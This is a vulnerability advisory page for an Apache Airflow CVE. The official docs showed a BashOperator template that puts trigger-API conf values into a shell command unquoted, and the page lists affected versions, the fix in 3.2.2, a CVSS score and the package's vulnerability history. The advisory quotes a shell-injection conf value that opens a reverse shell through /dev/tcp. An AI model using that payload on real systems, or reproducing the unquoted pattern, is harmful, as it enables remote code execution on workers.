Critical

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }

  • Disclosed: 01.06.2026
  • Updated: 11.10.2026 14:18

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

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PlatformPackageVulnerable versionsFixed in
Python (PyPI) apache-airflow >= 3.0.0, < 3.2.2 3.2.2

References

CVSS score 9.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-1336
Platform
Python (PyPI)
Package
apache-airflow
Disclosed
01.06.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - GHSA-c85c-g9wv-pph2 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-184 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: apache-airflow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (158) in the archive
Total entries
158
First → latest
08.2018 09.2026
Without a fix
4
Exploited in attacks
2

Severity breakdown

  • Critical 16
  • High 49
  • Medium 86
  • Low 7

Disclosures per year

  1. 2018: 1
  2. 2019: 8
  3. 2020: 12
  4. 2021: 5
  5. 2022: 16
  6. 2023: 31
  7. 2024: 18
  8. 2025: 6
  9. 2026: 61
Severity:
  1. Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] } this entry
    Critical · 9.1 CVE-2026-42252 >= 3.0.0, < 3.2.2 3.2.2
  2. High · 7.3 CVE-2026-45360 >= 3.2.0, < 3.2.2 3.2.2
  3. High · 7.5 CVE-2026-31987 >= 3.0.0, < 3.2.0 3.2.0
  4. High · 8.1 CVE-2025-54550 < 3.2.0 3.2.0
  5. Critical · 9.1 CVE-2025-57735 >= 3.0.0, < 3.2.0 3.2.0
  6. High · 7.5 CVE-2025-68675 >= 3.0.0b1, < 3.1.6, < 2.11.1 3.1.6, 2.11.1
  7. High · 8.8 CVE-2024-45498 >= 2.10.0, < 2.10.1 2.10.1
  8. High · 8.8 CVE-2024-45034 < 2.10.1 2.10.1
  9. High · 8.8 CVE-2024-39877 >= 2.4.0, < 2.9.3 2.9.3
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